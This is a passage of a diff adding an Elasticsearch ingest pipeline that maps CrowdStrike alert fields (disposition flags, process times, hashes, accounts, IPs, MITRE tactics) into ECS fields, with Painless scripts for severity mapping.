+      if: ctx.json?.pattern_disposition_details?.kill_process != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_97b01cce
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.kill_subprocess
+      tag: convert_pattern_disposition_details_kill_subprocess_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.kill_subprocess
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.kill_subprocess != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_d3896f6a
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.mfa_required
+      tag: convert_pattern_disposition_details_mfa_required_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.mfa_required
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.mfa_required != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_fe37ff02
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.operation_blocked
+      tag: convert_pattern_disposition_details_operation_blocked_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.operation_blocked
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.operation_blocked != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_0e672fd2
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.policy_disabled
+      tag: convert_pattern_disposition_details_policy_disabled_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.policy_disabled
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.policy_disabled != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_d2857342
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.prevention_provisioning_enabled
+      tag: convert_pattern_disposition_details_prevention_provisioning_enabled_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.prevention_provisioning_enabled
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.prevention_provisioning_enabled != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_32b4571a
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.process_blocked
+      tag: convert_pattern_disposition_details_process_blocked_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.process_blocked
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.process_blocked != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_036aa0ae
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.quarantine_file
+      tag: convert_pattern_disposition_details_quarantine_file_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.quarantine_file
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.quarantine_file != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_61401cb2
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.quarantine_machine
+      tag: convert_pattern_disposition_details_quarantine_machine_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.quarantine_machine
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.quarantine_machine != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_1ef3462a
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.registry_operation_blocked
+      tag: convert_pattern_disposition_details_registry_operation_blocked_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.registry_operation_blocked
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.registry_operation_blocked != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_d95082fa
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.response_action_already_applied
+      tag: convert_pattern_disposition_details_response_action_already_applied_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.response_action_already_applied
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.response_action_already_applied != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_37991dee
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.response_action_failed
+      tag: convert_pattern_disposition_details_response_action_failed_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.response_action_failed
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.response_action_failed != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_478de4d6
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.response_action_triggered
+      tag: convert_pattern_disposition_details_response_action_triggered_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.response_action_triggered
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.response_action_triggered != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_81752cea
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.rooting
+      tag: convert_pattern_disposition_details_rooting_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.rooting
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.rooting != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_706077de
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.sensor_only
+      tag: convert_pattern_disposition_details_sensor_only_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.sensor_only
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.sensor_only != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_f9fec482
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.suspend_parent
+      tag: convert_pattern_disposition_details_suspend_parent_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.suspend_parent
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.suspend_parent != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_2c62d45a
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.suspend_process
+      tag: convert_pattern_disposition_details_suspend_process_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.suspend_process
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.suspend_process != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_40d4a60a
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_id
+      tag: convert_pattern_id_to_string
+      target_field: crowdstrike.alert.pattern_id
+      type: string
+      ignore_missing: true
+  - rename:
+      field: json.platform
+      tag: rename_platform
+      target_field: crowdstrike.alert.platform
+      ignore_missing: true
+  - rename:
+      field: json.poly_id
+      tag: rename_poly_id
+      target_field: crowdstrike.alert.poly_id
+      ignore_missing: true
+  - date:
+      field: json.process_end_time
+      tag: date_process_end_time
+      target_field: crowdstrike.alert.process_end_time
+      formats:
+        - UNIX
+        - UNIX_MS
+      if: ctx.json?.process_end_time != null && ctx.json.process_end_time != ''
+      on_failure:
+        - append:
+            tag: append_error_message_ad80044e
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: process.end
+      tag: set_process_end
+      copy_from: crowdstrike.alert.process_end_time
+      ignore_empty_value: true
+  - rename:
+      field: json.process_id
+      tag: rename_process_id
+      target_field: crowdstrike.alert.process_id
+      ignore_missing: true
+  - set:
+      field: process.entity_id
+      tag: set_process_entity_id
+      copy_from: crowdstrike.alert.process_id
+      ignore_empty_value: true
+  - convert:
+      field: crowdstrike.alert.process_id
+      tag: convert_alert_process_id_to_long
+      target_field: process.pid
+      type: long
+      ignore_missing: true
+      if: ctx.crowdstrike?.alert?.process_id != ''
+      on_failure:
+        - append:
+            tag: append_error_message_67be768a
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      field: json.process_start_time
+      tag: date_process_start_time
+      target_field: crowdstrike.alert.process_start_time
+      formats:
+        - UNIX
+        - UNIX_MS
+      if: ctx.json?.process_start_time != null && ctx.json.process_start_time != ''
+      on_failure:
+        - append:
+            tag: append_error_message_f0c61775
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: process.start
+      tag: set_process_start
+      copy_from: crowdstrike.alert.process_start_time
+      ignore_empty_value: true
+  - rename:
+      field: json.product
+      tag: rename_product
+      target_field: crowdstrike.alert.product
+      ignore_missing: true
+  - convert:
+      field: json.protocol_anomaly_classification
+      tag: convert_protocol_anomaly_classification_to_long
+      target_field: crowdstrike.alert.protocol_anomaly_classification
+      type: long
+      if: ctx.json?.protocol_anomaly_classification != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_587d0e0c
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.quarantined
+      tag: convert_quarantined_to_boolean
+      target_field: crowdstrike.alert.quarantined
+      type: boolean
+      if: ctx.json?.quarantined != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_bf2c729a
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.quarantined_files
+      tag: rename_quarantined_files
+      target_field: crowdstrike.alert.quarantined_files
+      ignore_missing: true
+  - foreach:
+      tag: foreach_crowdstrike_alert_quarantined_files_b20fbedf
+      field: crowdstrike.alert.quarantined_files
+      if: ctx.crowdstrike?.alert?.quarantined_files instanceof List
+      ignore_failure: true
+      processor:
+        append:
+          field: related.hash
+          tag: append_quarantined_files_to_related_hash
+          value: '{{{_ingest._value.sha256}}}'
+          allow_duplicates: false
+  - rename:
+      field: json.scan_id
+      tag: rename_scan_id
+      target_field: crowdstrike.alert.scan_id
+      ignore_missing: true
+  - rename:
+      field: json.scenario
+      tag: rename_scenario
+      target_field: crowdstrike.alert.scenario
+      ignore_missing: true
+  - convert:
+      field: json.seconds_to_resolved
+      tag: convert_seconds_to_resolved_to_long
+      target_field: crowdstrike.alert.seconds_to_resolved
+      type: long
+      if: ctx.json?.seconds_to_resolved != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_8af241e0
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.seconds_to_triaged
+      tag: convert_seconds_to_triaged_to_long
+      target_field: crowdstrike.alert.seconds_to_triaged
+      type: long
+      if: ctx.json?.seconds_to_triaged != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_f02749ca
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.severity
+      tag: convert_severity_to_long
+      target_field: crowdstrike.alert.severity
+      type: long
+      if: ctx.json?.severity != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_3dc98c2e
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.severity_name
+      tag: rename_severity_name
+      target_field: crowdstrike.alert.severity_name
+      ignore_missing: true
+  - script:
+      lang: painless
+      description: Script to set event.severity.
+      tag: set_event_severity_from_severity
+      if: ctx.crowdstrike?.alert?.severity instanceof long && ctx.crowdstrike.alert.severity_name == null
+      source: |-
+        long severity = ctx.crowdstrike.alert.severity;
+        if (0 <= severity && severity < 20) {
+          ctx.crowdstrike.alert.severity_name = "info";
+        } else if (20 <= severity && severity < 40) {
+          ctx.crowdstrike.alert.severity_name = "low";
+        } else if (40 <= severity && severity < 60) {
+          ctx.crowdstrike.alert.severity_name = "medium";
+        } else if (60 <= severity && severity < 80) {
+          ctx.crowdstrike.alert.severity_name = "high";
+        } else if (80 <= severity && severity <= 100) {
+          ctx.crowdstrike.alert.severity_name = "critical";
+        }
+      on_failure:
+        - append:
+            tag: append_error_message_538cc735
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - script:
+      lang: painless
+      description: Script to set event.severity.
+      tag: set_event_severity_from_severity_name
+      if: ctx.crowdstrike?.alert?.severity_name instanceof String
+      source: |-
+        ctx.event = ctx.event ?: [:];
+        String risk_score_value = ctx.crowdstrike.alert.severity_name;
+        if (risk_score_value.equalsIgnoreCase("low") || risk_score_value.equalsIgnoreCase("info") || risk_score_value.equalsIgnoreCase("informational")) {
+          ctx.event.severity = 21;
+        } else if (risk_score_value.equalsIgnoreCase("medium")) {
+          ctx.event.severity = 47;
+        } else if (risk_score_value.equalsIgnoreCase("high")) {
+          ctx.event.severity = 73;
+        } else if (risk_score_value.equalsIgnoreCase("critical")) {
+          ctx.event.severity = 99;
+        }
+      on_failure:
+        - append:
+            tag: append_error_message_087c7251
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.sha1
+      tag: rename_sha1
+      target_field: crowdstrike.alert.sha1
+      ignore_missing: true
+  - rename:
+      field: json.sha256
+      tag: rename_sha256
+      target_field: crowdstrike.alert.sha256
+      ignore_missing: true
+  - set:
+      field: process.hash.sha1
+      tag: set_process_hash_sha1
+      copy_from: crowdstrike.alert.sha1
+      ignore_empty_value: true
+  - set:
+      field: process.hash.sha256
+      tag: set_process_hash_sha256
+      copy_from: crowdstrike.alert.sha256
+      ignore_empty_value: true
+  - append:
+      tag: append_related_hash_7730cb3f
+      field: related.hash
+      value: '{{{crowdstrike.alert.sha1}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.sha1 != null
+  - append:
+      tag: append_related_hash_5cf3d32b
+      field: related.hash
+      value: '{{{crowdstrike.alert.sha256}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.sha256 != null
+  - convert:
+      field: json.show_in_ui
+      tag: convert_show_in_ui_to_boolean
+      target_field: crowdstrike.alert.show_in_ui
+      type: boolean
+      if: ctx.json?.show_in_ui != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_1698dc44
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.source_account_azure_id
+      tag: rename_source_account_azure_id
+      target_field: crowdstrike.alert.source.account_azure_id
+      ignore_missing: true
+  - set:
+      field: cloud.account.id
+      tag: set_cloud_account_id
+      copy_from: crowdstrike.alert.source.account_azure_id
+      ignore_empty_value: true
+  - rename:
+      field: json.source_account_domain
+      tag: rename_source_account_domain
+      target_field: crowdstrike.alert.source.account_domain
+      ignore_missing: true
+  - set:
+      field: source.user.domain
+      tag: set_source_user_domain_from_alert_source_account_domain
+      copy_from: crowdstrike.alert.source.account_domain
+      ignore_empty_value: true
+  - append:
+      field: related.hosts
+      tag: append_source_user_domain_into_related_hosts
+      value: '{{{source.user.domain}}}'
+      allow_duplicates: false
+      if: ctx.source?.user?.domain != null
+  - rename:
+      field: json.source_account_name
+      tag: rename_source_account_name
+      target_field: crowdstrike.alert.source.account_name
+      ignore_missing: true
+  - set:
+      field: source.user.name
+      tag: set_source_user_name_from_alert_source_account_name
+      copy_from: crowdstrike.alert.source.account_name
+      ignore_empty_value: true
+  - append:
+      field: related.user
+      tag: append_source_domain_into_related_user
+      value: '{{{source.user.name}}}'
+      allow_duplicates: false
+      if: ctx.source?.user?.name != null
+  - rename:
+      field: json.source_account_object_guid
+      tag: rename_source_account_object_guid
+      target_field: crowdstrike.alert.source.account_object_guid
+      ignore_missing: true
+  - rename:
+      field: json.source_account_object_sid
+      tag: rename_source_account_object_sid
+      target_field: crowdstrike.alert.source.account_object_sid
+      ignore_missing: true
+  - rename:
+      field: json.source_account_sam_account_name
+      tag: rename_source_account_sam_account_name
+      target_field: crowdstrike.alert.source.account_sam_account_name
+      ignore_missing: true
+  - rename:
+      field: json.source_account_upn
+      tag: rename_source_account_upn
+      target_field: crowdstrike.alert.source.account_upn
+      ignore_missing: true
+  - append:
+      field: related.user
+      tag: append_crowdstrike_alert_source_account_upn_into_related_user
+      value: '{{{crowdstrike.alert.source.account_upn}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.source?.account_upn != null
+  - rename:
+      field: json.source_endpoint_account_object_guid
+      tag: rename_source_endpoint_account_object_guid
+      target_field: crowdstrike.alert.source.endpoint_account_object_guid
+      ignore_missing: true
+  - rename:
+      field: json.source_endpoint_account_object_sid
+      tag: rename_source_endpoint_account_object_sid
+      target_field: crowdstrike.alert.source.endpoint_account_object_sid
+      ignore_missing: true
+  - convert:
+      field: json.source_endpoint_address_ip4
+      tag: convert_source_endpoint_address_ip4_to_ip
+      target_field: crowdstrike.alert.source.endpoint_address_ip4
+      type: ip
+      if: ctx.json?.source_endpoint_address_ip4 != ''
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_4a238275
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - append:
+      field: related.ip
+      tag: append_crowdstrike_alert_source_endpoint_address_ip4_into_related_ip
+      value: '{{{crowdstrike.alert.source.endpoint_address_ip4}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.source?.endpoint_address_ip4 != null
+  - rename:
+      field: json.source_endpoint_host_name
+      tag: rename_source_endpoint_host_name
+      target_field: crowdstrike.alert.source.endpoint_host_name
+      ignore_missing: true
+  - set:
+      field: source.domain
+      tag: set_source_domain_from_alert_source_endpoint_host_name
+      copy_from: crowdstrike.alert.source.endpoint_host_name
+      ignore_empty_value: true
+  - append:
+      field: related.hosts
+      tag: append_source_domain_into_related_hosts
+      value: '{{{source.domain}}}'
+      allow_duplicates: false
+      if: ctx.source?.domain != null
+  - convert:
+      field: json.source_endpoint_ip_address
+      tag: convert_source_endpoint_ip_address_to_ip
+      target_field: crowdstrike.alert.source.endpoint_ip_address
+      type: ip
+      if: ctx.json?.source_endpoint_ip_address != ''
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_81555c63
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: source.ip
+      tag: set_source_ip_from_alert_source_endpoint_ip_address
+      copy_from: crowdstrike.alert.source.endpoint_ip_address
+      ignore_empty_value: true
+  - append:
+      field: related.ip
+      tag: append_source_ip_into_related_ip
+      value: '{{{source.ip}}}'
+      allow_duplicates: false
+      if: ctx.source?.ip != null
+  - convert:
+      field: json.source_endpoint_ip_reputation
+      tag: convert_source_endpoint_ip_reputation_to_long
+      target_field: crowdstrike.alert.source.endpoint_ip_reputation
+      type: long
+      if: ctx.json?.source_endpoint_ip_reputation != ''
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_3e386597
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.source_endpoint_sensor_id
+      tag: rename_source_endpoint_sensor_id
+      target_field: crowdstrike.alert.source.endpoint_sensor_id
+      ignore_missing: true
+  - convert:
+      field: json.source_ip_isp_classification
+      tag: convert_source_ip_isp_classification_to_long
+      target_field: crowdstrike.alert.source.ip_isp_classification
+      type: long
+      if: ctx.json?.source_ip_isp_classification != ''
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_df45a547
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.source_ip_isp_domain
+      tag: rename_source_ip_isp_domain
+      target_field: crowdstrike.alert.source.ip_isp_domain
+      ignore_missing: true
+  - rename:
+      field: json.source_products
+      tag: rename_source_products
+      target_field: crowdstrike.alert.source_products
+      ignore_missing: true
+  - rename:
+      field: json.source_vendors
+      tag: rename_source_vendors
+      target_field: crowdstrike.alert.source_vendors
+      ignore_missing: true
+  - date:
+      field: json.start_time
+      tag: date_start_time
+      target_field: crowdstrike.alert.start_time
+      formats:
+        - ISO8601
+      if: ctx.json?.start_time != null && ctx.json.start_time != ''
+      on_failure:
+        - append:
+            tag: append_error_message_12c4fb68
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: event.start
+      tag: set_event_start_from_alert_start_time
+      copy_from: crowdstrike.alert.start_time
+      ignore_empty_value: true
+  - rename:
+      field: json.status
+      tag: rename_status
+      target_field: crowdstrike.alert.status
+      ignore_missing: true
+  - rename:
+      field: json.tactic
+      tag: rename_tactic
+      target_field: crowdstrike.alert.tactic
+      ignore_missing: true
+  - append:
+      field: threat.tactic.name
+      tag: append_threat_tactic_name
+      value: '{{{crowdstrike.alert.tactic}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.tactic != null
+  - rename:
+      field: json.tactic_id
+      tag: rename_tactic_id
+      target_field: crowdstrike.alert.tactic_id
+      ignore_missing: true
+  - append:
+      field: threat.tactic.id
+      tag: append_threat_tactic_id
+      value: '{{{crowdstrike.alert.tactic_id}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.tactic_id != null
+  - rename:
+      field: json.tags
+      tag: rename_tags
+      target_field: crowdstrike.alert.tags
+      ignore_missing: true
+  - foreach:
+      tag: foreach_crowdstrike_alert_tags_b755d4b9
+      field: crowdstrike.alert.tags
+      if: ctx.crowdstrike?.alert?.tags instanceof List
+      processor:
+        append:
+          field: tags
+          tag: append_alert_tags_into_tags
+          value: '{{{_ingest._value}}}'
+          allow_duplicates: false
+  - rename:
+      field: json.target_endpoint_host_name
+      tag: rename_target_endpoint_host_name
+      target_field: crowdstrike.alert.target.endpoint_host_name
+      ignore_missing: true
+  - set:
+      field: destination.domain
+      tag: set_destination_domain_from_alert_target_endpoint_host_name
+      copy_from: crowdstrike.alert.target.endpoint_host_name
+      ignore_empty_value: true
+  - append:
+      field: related.hosts
+      tag: append_destination_domain_into_related_hosts
+      value: '{{{destination.domain}}}'
+      allow_duplicates: false
+      if: ctx.destination?.domain != null
+  - rename:
+      field: json.target_domain_controller_host_name
+      tag: rename_target_domain_controller_host_name
+      target_field: crowdstrike.alert.target.domain_controller_host_name
+      ignore_missing: true
+  - set:
+      field: destination.user.domain
+      tag: set_destination_user_domain_from_alert_target_domain_controller_host_name
+      copy_from: crowdstrike.alert.target.domain_controller_host_name
+      ignore_empty_value: true
+  - append:
+      field: related.hosts
+      tag: append_destination_user_domain_into_related_hosts
+      value: '{{{destination.user.domain}}}'
+      allow_duplicates: false
+      if: ctx.destination?.user?.domain != null
+  - rename:
+      field: json.target_account_name
+      tag: rename_target_account_name
+      target_field: crowdstrike.alert.target.account_name
+      ignore_missing: true
+  - set:
+      field: destination.user.name
+      tag: set_destination_user_name_from_alert_target_account_name
+      copy_from: crowdstrike.alert.target.account_name
+      ignore_empty_value: true
+  - append:
+      field: related.user
+      tag: append_destination_user_name_into_related_user
+      value: '{{{destination.user.name}}}'
+      allow_duplicates: false
+      if: ctx.destination?.user?.name != null
+  - rename:
+      field: json.target_domain_controller_object_guid
+      tag: rename_target_domain_controller_object_guid
+      target_field: crowdstrike.alert.target.domain_controller_object_guid
+      ignore_missing: true
+  - rename:
+      field: json.target_domain_controller_object_sid
+      tag: rename_target_domain_controller_object_sid
+      target_field: crowdstrike.alert.target.domain_controller_object_sid
+      ignore_missing: true
+  - rename:
+      field: json.target_endpoint_account_object_guid
+      tag: rename_target_endpoint_account_object_guid
+      target_field: crowdstrike.alert.target.endpoint_account_object_guid
+      ignore_missing: true
+  - rename:
+      field: json.target_endpoint_account_object_sid
+      tag: rename_target_endpoint_account_object_sid
+      target_field: crowdstrike.alert.target.endpoint_account_object_sid
+      ignore_missing: true
+  - rename:
+      field: json.target_endpoint_sensor_id
+      tag: rename_target_endpoint_sensor_id
+      target_field: crowdstrike.alert.target.endpoint_sensor_id
+      ignore_missing: true
+  - rename:
+      field: json.target_service_access_identifier
+      tag: rename_target_service_access_identifier
+      target_field: crowdstrike.alert.target.service_access_identifier
+      ignore_missing: true
+  - rename:
+      field: json.technique
+      tag: rename_technique
+      target_field: crowdstrike.alert.technique
+      ignore_missing: true
+  - append:
+      field: threat.technique.name
+      tag: append_threat_technique_name
+      value: '{{{crowdstrike.alert.technique}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.technique != null
+  - rename:
+      field: json.technique_id
+      tag: rename_technique_id
+      target_field: crowdstrike.alert.technique_id
+      ignore_missing: true
+  - append:
+      field: threat.technique.id
+      tag: append_threat_technique_id
+      value: '{{{crowdstrike.alert.technique_id}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.technique_id != null
+  - rename:
+      field: json.mitre_attack
+      tag: rename_mitre_attack
